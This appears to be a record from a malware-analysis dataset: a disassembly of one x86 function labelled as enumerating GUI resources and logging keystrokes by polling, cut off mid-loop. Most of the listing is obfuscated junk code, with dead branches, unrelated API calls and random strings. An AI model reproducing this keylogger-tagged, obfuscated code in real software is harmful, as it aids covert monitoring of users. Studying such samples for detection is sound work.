Function at 0x1003e3f9
Capabilities:
Enumerate gui resources
Log keystrokes via polling

Disassembly:
mov eax, 0x1005ef09
call fcn.1005d550
sub esp, 0x218
push ebx
mov dword [ebp - 0xe4], ecx
xor ebx, ebx
xor ecx, ecx
mov dword [ebp - 0xec], edx
push esi
inc ecx
mov dword [ebp - 0x1a0], ebx
push edi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], ebx
jmp 0x1003e43f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x90], 0xddc85f70
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003e42e
mov dword [ebp - 0x90], ebx
cmp dword [ebp - 0x90], 0xfffffff0
jg 0x1003e47a
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1003e468
push ebx
push 0x24bf
call dword [sym.imp.GDI32.dll_SetBkColor]
dec dword [ebp - 0x90]
cmp dword [ebp - 0x90], 0xfffffff0
jle 0x1003e454
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], ebx
jmp 0x1003e48c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x90], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1003e47f
mov dword [ebp - 0x18], 0x4ec2e0cf
mov dword [ebp - 0x28], 0x1de9829c
mov dword [ebp - 0x2c], 0xc7eb2367
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1003e4ec
push 0x230c
push 0xb6e
push 0x23e9
push 0xc7f
push 0xe3e
push 0xba2
push 0x17e5
push 0x131d
push 0x22f
push 0x87f
push 0xfe4
call dword [sym.imp.GDI32.dll_StretchBlt]
mov dword [ebp - 0x18], 0xffffffed
cmp dword [ebp - 0x18], 0xfffffffc
jle 0x1003e5aa
xor esi, esi
inc esi
mov dword [ebp - 0x30], 9
lea ecx, [ebp - 0x15c]
mov dword [ebp - 0x1c], 0x8d9a2b82
push esi
call fcn.10001de3
xor edx, edx
mov dword [ebp - 0x40], 0xe69c17f7
mov dword [ebp - 0x1c], ebx
inc edx
jmp 0x1003e538
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x15c]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1003e529
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x15c]
mov dword [eax], edx
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setl dl
sub edx, 5
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x2c], edx
je 0x1003e5f0
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1003e58f
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
inc esi
lea ecx, [ebp - 0x15c]
call fcn.10001e40
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffc
jg 0x1003e500
xor ecx, ecx
mov dword [ebp - 0x87], 0x3300627
push 2
inc ecx
mov byte [ebp - 0x83], 0x3e
pop edx
mov byte [ebp - 0x88], cl
mov byte [ebp - 0x82], dl
mov dword [ebp - 0x81], 0x3050d
mov word [ebp - 0x7d], 0x42b
mov byte [ebp - 0x7b], 0x26
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], 0xa
jmp 0x1003e700
mov dword [ebp - 0x20], 0xffffffff
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x20]
neg eax
je 0x1003e617
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], bl
je 0x1003e62e
push 0x1aa7
push ebx
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor esi, esi
inc esi
mov dword [ebp - 0x40], esi
jmp 0x1003e592
mov dword [ebp - 0x30], 0x22b16580
mov dword [ebp - 0x38], 0xe91cb64b
mov dword [ebp - 0x20], 0xaf1e2cd8
mov dword [ebp - 0x1c], ebx
jmp 0x1003e664
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd8], 0x9ac70c30
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1003e653
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], ebx
jl 0x1003e6fd
mov dword [ebp - 0x38], 0x921e124d
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x38]
neg eax
jne 0x1003e6ab
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov eax, ebx
cmp dword [ebp - 0x38], ebx
je 0x1003e6ad
mov eax, ecx
imul eax, eax, 0x9b9
cmp eax, ecx
jne 0x1003e6be
mov eax, ebx
cmp dword [ebp - 0x18], ebx
je 0x1003e6c0
mov eax, ecx
xor ecx, ecx
cmp eax, 0xffffffff
setle cl
xor eax, eax
cmp ecx, 0xc010
setg al
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], ebx
jmp 0x1003e6ec
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd8], 7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edx
jl 0x1003e6db
dec dword [ebp - 0x30]
push 1
pop ecx
jns 0x1003e675
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffee
jge 0x1003e639
push 0x6c
pop eax
mov word [ebp - 0x136], ax
mov dword [ebp - 0x40], 0x5a1b
cmp dword [ebp - 0x40], 0x5c33
jle 0x1003e7a3
push ebx
push 0x31f
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
xor esi, esi
mov dword [ebp - 0x2c], ebx
inc esi
mov edi, ebx
mov dword [ebp - 0x30], ebx
mov eax, edi
mov dword [ebp - 0x3c], 0x72eb
mov edi, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
xor eax, edi
lea ecx, [ebp - 0x20c]
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003e764
mov eax, dword [eax]
push eax
call fcn.10046d34
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x20c]
call fcn.10002133
mov eax, dword [ebp - 0x38]
dec eax
dec dword [ebp - 0x3c]
mov dword [ebp - 0x38], eax
jne 0x1003e74a
mov edi, dword [ebp - 0x30]
inc edi
mov dword [ebp - 0x30], edi
cmp edi, 0x2b00
jl 0x1003e73b
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0xff7
jl 0x1003e736
jmp 0x1003e7a6
xor esi, esi
inc esi
push esi
lea ecx, [ebp - 0x9c]
call fcn.10001de3
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], 0x8901f2c2
mov dword [ebp - 0x30], 0xec326874
mov dword [ebp - 0x2c], 0xeba4
mov dword [ebp - 0x38], 0x3ee67684
mov dword [ebp - 0x1c], ebx
jmp 0x1003e7e9
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x9c]
mov dword [eax + ecx*4], 7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003e7d6
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jg 0x1003e915
push 3
lea ecx, [ebp - 0x108]
call fcn.10001de3
xor eax, eax
lea ecx, [ebp - 0x174]
inc eax
push eax
mov byte [ebp - 4], al
call fcn.10001de3
xor edx, edx
mov dword [ebp - 0x18], ebx
inc edx
cmp dword [ebp - 0x18], 3
jge 0x1003e836
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x108]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
jmp 0x1003e81f
mov dword [ebp - 0x18], ebx
jmp 0x1003e84a
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x174]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003e83b
mov eax, dword [ebp - 0x9c]
cmp dword [eax], ebx
je 0x1003e89d
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x9c]
cmp dword [eax + ecx*4], 6
mov eax, dword [ebp - 0x108]
setle dl
xor ecx, ecx
cmp edx, dword [eax + 4]
setge cl
sub ecx, 0xfd2d1a4e
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, dword [eax + 8]
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
inc edx
cmp ecx, edx
jl 0x1003e89f
mov edx, ebx
mov dword [ebp - 0x30], edx
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x9c]
mov edx, dword [ecx + edx*4]
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x20]
add edx, 0x9ea4
cmp edx, eax
mov eax, dword [ebp - 0x108]
setge cl
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0x174]
mov esi, dword [eax]
mov eax, esi
imul eax, edx
cmp edx, eax
setge cl
xor eax, eax
cmp esi, ecx
lea ecx, [ebp - 0x174]
setne al
mov dword [ebp - 0x38], eax
call fcn.10001e40
lea ecx, [ebp - 0x108]
mov byte [ebp - 4], bl
call fcn.10001e40
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x1003e7fa
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x9c]
cmp dword [eax], ecx
mov eax, dword [ebp - 0x38]
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x9c]
setne bl
sub ebx, dword [eax]
mov eax, dword [ebp - 0x20]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp eax, 0xd881
setle cl
xor eax, eax
imul ecx, dword [ebp - 0x2c]
cmp ebx, ecx
lea ecx, [ebp - 0x9c]
setle al
mov dword [ebp - 0x30], eax
call fcn.10001e40
cmp dword [ebp - 0x40], 0x56ff
jge 0x1003e976
push str.voisu_qyiids_jdbygc_aba_bzivcau_ytomt_yabnhhw_qechut_dvtcgzr_qopolpwg_ozsmmdjgj_egvtxwqi_lvnrmnpju_uzgmdc
call fcn.10046d34
pop ecx
or dword [ebp - 4], 0xffffffff
push 2
pop edi
mov ebx, edi
movzx eax, byte [ebp + ebx - 0x8a]
movzx edx, byte [ebp + ebx - 0x87]
movzx ecx, word [ebp + eax*2 - 0x138]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + ebx - 0x88]
add edx, ecx
add ebx, edi
mov word [ebp + eax*2 - 0x138], dx
cmp ebx, 0xe
jb 0x1003e97f
mov dword [ebp - 0x18], 0xfffffffa
lea ecx, [ebp - 0x168]
push 4
call fcn.10001de3
xor ebx, ebx
mov dword [ebp - 0x18], ebx
jmp 0x1003e9dd
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4c], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1003e9d3
mov dword [ebp - 0x18], ebx
jmp 0x1003e9fa
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x168]
mov dword [eax + ecx*4], 0x2bac4117
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003e9e7
cmp dword [ebp - 0x4c], ebx
je 0x1003ea08
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
xor edx, edx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
sete cl
sub eax, ecx
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
test eax, eax
mov eax, 0x97632667
sets cl
xor edx, edx
cmp ecx, 0xffffffff
setne dl
sub eax, edx
imul eax, dword [ebp - 0x4c]
test eax, eax
je 0x1003ea6a
mov dword [ebp - 0x28], 3
mov dword [ebp - 0x28], 0xf215a609
jmp 0x1003eafe
mov dword [ebp - 0x2c], 0x8f27
xor ecx, ecx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x28], 0x4d7d9c74
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp eax, 0x1ef2cd22
setg cl
xor eax, eax
cmp ecx, 0x4e401d93
setge al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ebx
jmp 0x1003eaf8
mov dword [ebp - 0x3c], 0xe17716e3
cmp dword [ebp - 0x48], ebx
jne 0x1003eafe
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
inc eax
cmp eax, 0xfff7
mov eax, dword [ebp - 0x4c]
sbb ecx, ecx
neg ecx
imul ecx, eax
mov eax, dword [ebp - 0x1c]
sub ecx, eax
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
neg ecx
add eax, ecx
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x168]
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x3c]
cmp edx, eax
setg cl
add ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x28], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1d
jge 0x1003ea9e
lea ecx, [ebp - 0x168]
call fcn.10001e40
xor eax, eax
lea ecx, [ebp - 0x144]
push 4
mov word [ebp - 0x12a], ax
call fcn.10001de3
mov dword [ebp - 0x28], 0xf1860ec0
xor edx, edx
inc edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0x1fdbd017
push 6
pop eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x30], 0x643b8a2
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], 0xf0a64418
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xdc], 0xffffffff
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x20], ebx
jmp 0x1003eb88
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xac], 0x82062403
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1003eb77
mov dword [ebp - 0x20], ebx
jmp 0x1003eba2
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x144]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1003eb93
mov dword [ebp - 0x20], ebx
jmp 0x1003ebbb
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x78], 0x968cb667
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1003ebad
mov edi, dword [ebp - 0x144]
mov dword [edi + 0xc], ebx
mov dword [ebp - 0x38], 4
mov dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 0x2c], 0x151c
mov dword [ebp - 0xe8], 0xeba6
mov dword [ebp - 0x40], 0xf4a9b836
mov dword [ebp - 0x3c], 0x1f73439d
mov dword [ebp - 0x1c], ebx
jmp 0x1003ec09
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003ebfc
mov eax, dword [ebp - 0xb4]
dec dword [ebp - 0xb4]
test eax, eax
je 0x1003eccc
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x38], eax
jge 0x1003ec49
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xa0]
neg eax
mov eax, edx
jne 0x1003ec4b
mov eax, ebx
mov edx, dword [ebp - 0x18]
xor ecx, ecx
add edx, eax
mov eax, dword [ebp - 0x30]
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0xa0]
jne 0x1003ec6c
cmp dword [ebp - 0x2c], ebx
je 0x1003ec6c
xor esi, esi
inc esi
jmp 0x1003ec6e
mov esi, ebx
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x40], ebx
jne 0x1003ec79
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xb4]
xor ecx, ecx
mov eax, dword [ebp - 0xa4]
test eax, eax
setns cl
xor eax, eax
cmp ecx, 0x53f2
setge al
xor ecx, ecx
cmp eax, 7
mov eax, dword [ebp - 0xc0]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [edi + 0xc]
sete dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xac]
cmp edx, eax
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
imul eax, ecx
inc edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [edi + 0xc]
mov eax, dword [ebp + eax*4 - 0xac]
mov eax, dword [edi + 0xc]
mov eax, dword [ebp + eax*4 - 0xac]
cmp dword [ebp - 0xac], 0x53575542
je 0x1003ecf3
mov eax, ebx
cmp dword [ebp - 0x30], ebx
je 0x1003ecf5
mov eax, edx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x3c], ebx
jne 0x1003edaa
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [edi + 0xc]
cmp dword [ebp + eax*4 - 0xac], ebx
jne 0x1003ed27
cmp dword [ebp - 0x3c], ebx
je 0x1003ed2c
cmp dword [ebp - 0x28], ebx
jne 0x1003ed2e
mov edx, ebx
mov eax, dword [ebp - 0xdc]
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, 0x7548
setle al
xor edx, edx
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
setl dl
xor ecx, ecx
imul edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
cmp edx, eax
mov eax, dword [edi + 0xc]
setle cl
imul ecx, dword [ebp + eax*4 - 0xac]
imul eax, ecx, 0xd177
add eax, 0x84459954
cmp eax, dword [ebp - 0x20]
jle 0x1003ed8b
cmp dword [ebp - 0x78], ebx
je 0x1003ed8b
xor edx, edx
inc edx
mov esi, edx
jmp 0x1003ed90
xor edx, edx
mov esi, ebx
inc edx
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp esi, eax
setl cl
sub ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x20]
mov eax, ebx
je 0x1003edac
mov eax, edx
inc dword [edi + 0xc]
push 3
mov dword [ebp - 0xc0], eax
pop eax
cmp dword [edi + 0xc], eax
jle 0x1003ebca
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jl 0x1003ee40
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], ebx
jl 0x1003ee3b
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
sete dl
cmp edx, dword [ebp + eax*4 - 0x78]
jle 0x1003ee1c
cmp dword [ebp - 0x38], ebx
jne 0x1003ee1c
xor edx, edx
inc edx
mov esi, edx
jmp 0x1003ee21
xor edx, edx
mov esi, ebx
inc edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x78]
cmp eax, esi
mov eax, dword [ebp - 0x18]
sete cl
mov dword [ebp + eax*4 - 0x78], ecx
dec dword [ebp - 0x18]
jns 0x1003edd8
dec dword [ebp - 0x20]
jns 0x1003edc9
lea ecx, [ebp - 0x144]
call fcn.10001e40
xor eax, eax
mov dword [ebp - 0x1a4], 7
mov word [ebp - 0x1b8], ax
lea ecx, [ebp - 0x1b8]
lea eax, [ebp - 0x138]
mov dword [ebp - 0x1a8], ebx
push eax
call fcn.1000d7a4
push 2
mov dword [ebp - 4], 4
pop edi
mov dword [ebp - 0x3c], edi
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003ee93
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
xor esi, esi
mov dword [ebp - 0x3c], ebx
inc esi
cmp dword [ebp - 0x3c], 0xffffffea
jge 0x1003ef74
mov dword [ebp - 0x2c], 0xfda0e60f
mov dword [ebp - 0x2c], 0xfffffff3
cmp dword [ebp - 0x2c], 0xffffffe7
jl 0x1003ef6c
mov dword [ebp - 0x40], 0x5e95
cmp dword [ebp - 0x40], 0x5f67
jle 0x1003ef3c
mov eax, ebx
mov dword [ebp - 0x38], ebx
mov edi, ebx
mov dword [ebp - 0x28], ebx
mov ecx, edi
mov dword [ebp - 0x34], ebx
mov edx, eax
mov edi, ebx
sar edx, cl
mov dword [ebp - 0x60], edx
mov eax, edi
lea ecx, [ebp - 0x224]
and eax, edx
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003eeff
mov eax, dword [eax]
push eax
call fcn.10046d34
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x224]
call fcn.10002133
mov edx, dword [ebp - 0x60]
inc edi
cmp edi, 0x785b
jl 0x1003eee3
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0x684
jl 0x1003eed5
inc eax
mov dword [ebp - 0x38], eax
cmp eax, 0x3d37
jl 0x1003eed0
mov dword [ebp - 0x28], 0xf3d4210e
cmp dword [ebp - 0x40], 0x5d5a
jge 0x1003ef57
push str.pjaobey_fdnp_cem_fathpmiwe_dbgt_oyeigr_kksybx_tdpeivm_ezqutq_alwhyvjtx_ykichc_bpxlk_zzpzvssw
call fcn.10046d34
pop ecx
mov dword [ebp - 4], 4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
dec dword [ebp - 0x2c]
jmp 0x1003eeb1
dec dword [ebp - 0x3c]
jmp 0x1003ee99
xor eax, eax
lea edi, [ebp - 0x138]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 0x4be5
cmp dword [ebp - 0x28], 0x4f70
jle 0x1003efb7
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10078ef8
or eax, esi
cdq
push edx
push eax
call fcn.10001c59
inc edi
cmp edi, 0x2cc
jl 0x1003ef94
inc esi
cmp esi, 0x7507
jl 0x1003ef92
xor ecx, ecx
mov dword [ebp - 0x1c], ebx
inc ecx
jmp 0x1003efc9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x70], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003efbf
mov byte [ebp - 4], 7
cmp dword [ebp - 0x28], 0x4b51
jge 0x1003efea
mov edx, str.xme_okym_exx_hchrvsu_vcpovxh_mjquavoic_qytcqtuz_uooewyq_mpad
mov ecx, 0x10078ef8
call fcn.10003ae1
push 4
pop esi
push 3
mov dword [ebp - 4], esi
pop edi
mov dword [ebp - 0x70], ebx
jmp 0x1003f032
mov dword [ebp - 0x34], 0x69aed23b
cmp dword [ebp - 0x34], ebx
jne 0x1003f038
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0x1b
je 0x1003f023
push dword [ebp - 0xec]
lea ecx, [ebp - 0x1f4]
call fcn.10001d6e
mov byte [ebp - 4], 9
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x18], 0xfffffff9
mov dword [ebp - 0x20], ebx
jmp 0x1003f112
push esi
lea ecx, [ebp - 0xd0]
call fcn.10001de3
mov dword [ebp - 0x34], 0xd03b15a8
mov dword [ebp - 0x1c], ebx
jmp 0x1003f08e
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xd0]
mov dword [eax + ecx*4], 0x2858905b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003f07b
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xd0]
cmp dword [ecx + 0xc], eax
mov eax, dword [ebp - 0xd0]
setle dl
xor ecx, ecx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x18]
setl cl
xor edx, edx
cmp ecx, eax
setge dl
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xd0]
imul edx, dword [eax]
xor eax, eax
test edx, edx
setle al
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x18], 0xe
jmp 0x1003f0fe
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003f0fb
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuW]
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xa
je 0x1003f0ea
lea ecx, [ebp - 0xd0]
call fcn.10001e40
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1a
jle 0x1003f063
mov dword [ebp - 0x18], 0xa
jmp 0x1003f173
mov dword [ebp - 0x34], 0xfffffffa
mov dword [ebp - 0x28], 0xffffffff
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
jae 0x1003f146
cmp dword [ebp - 0x18], ebx
jne 0x1003f179
jmp 0x1003f15a
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003f15a
push 0xea2
call dword [sym.imp.USER32.dll_IsIconic]
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003f170
push ebx
push ebx
push 0xae5
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xc
jg 0x1003f125
mov dword [ebp - 0x34], 0xbdde
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 0x34], 0x5cdbe8e5
mov dword [ebp - 0x34], 0xfb6318d5
push esi
call fcn.10001de3
mov dword [ebp - 0x28], 0xf37c
mov dword [ebp - 0x34], 0x146cdead
mov dword [ebp - 0x1c], ebx
jmp 0x1003f1bd
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1dc]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003f1ad
inc dword [ebp - 0x28]
lea ecx, [ebp - 0x1dc]
call fcn.10001e40
push 2
lea ecx, [ebp - 0x150]
call fcn.10001de3
xor edx, edx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x18], ebx
inc edx
jmp 0x1003f1f6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x44], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003f1e8
mov dword [ebp - 0x18], ebx
jmp 0x1003f20f
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x150]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1003f200
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003f237
push ebx
push 0x4ac
push 0x1d68
push 0xa6c
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
xor edx, edx
inc edx
mov dword [ebp - 0x44], ebx
jmp 0x1003f2eb
mov dword [ebp - 0x18], 0xf5ed9a92
mov dword [ebp - 0x2c], 0xffff
mov dword [ebp - 0x38], 0xc1dfe936
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x1003f26d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe0], 0x9552053
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
